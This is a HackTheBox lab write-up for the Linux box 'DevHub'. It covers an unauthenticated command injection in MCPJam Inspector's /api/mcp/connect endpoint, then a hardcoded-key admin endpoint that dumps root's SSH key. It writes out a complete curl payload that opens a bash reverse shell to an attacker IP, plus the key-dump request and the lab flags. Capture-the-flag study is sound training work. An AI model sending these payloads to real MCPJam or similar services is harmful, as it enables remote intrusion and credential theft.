HackTheBox Writeup - DevHub

Name: DevHub OS: Linux Difficulty: Medium Target IP: 10.129.4.145

---

1. Enumeration

Nmap Scan

The scan revealed three open ports:

• 22/tcp: SSH
• 80/tcp: HTTP (Redirects to http://devhub.htb)
• 6274/tcp: MCPJam Inspector 1.4.2

---

2. Initial Foothold: MCPJam RCE (CVE-2026-23744)

The service on port 6274, MCPJam Inspector, is vulnerable to unauthenticated Remote Code Execution via its /api/mcp/connect endpoint. The serverConfig parameter allows for shell command injection.

Exploitation

By sending a POST request with a malicious serverConfig, a reverse shell was obtained as the mcp-dev user.

curl -s -X POST http://10.129.4.145:6274/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{
    "serverConfig": {
      "command": "sh",
      "args": ["-c", "bash -i >& /dev/tcp/10.10.14.203/4444 0>&1"],
      "env": {}
    },
    "serverId": "pwned"
  }'

---

3. Lateral Movement: mcp-dev -> analyst

Enumeration of the target revealed a Jupyter Notebook instance running on localhost:8888. The access token was found by inspecting the running processes:

• Token: a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7

While intended to be exploited via the Jupyter instance, direct access to the root escalation path was possible from the mcp-dev user.

---

4. Privilege Escalation: root

An internal management service, OPSMCP, was found running on localhost:5000. Analysis (supported by community writeups) revealed a hidden admin endpoint ops._admin_dump and a hardcoded API key.

• API Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a

Exploiting the Admin Endpoint

The ops._admin_dump tool allows reading sensitive files if the target is set to ssh_keys.

1. Retrieve Root SSH Key:

   curl -s -X POST http://127.0.0.1:5000/tools/call \
     -H "Content-Type: application/json" \
     -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
     -d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'
   

2. Access Root: The root RSA private key was extracted from the JSON response, saved, and used to log in via SSH.

User Flag: 63dc8bebc52e0cce89c535e6807ad872 Root Flag: fc38ae361120553a6837413c76e720cd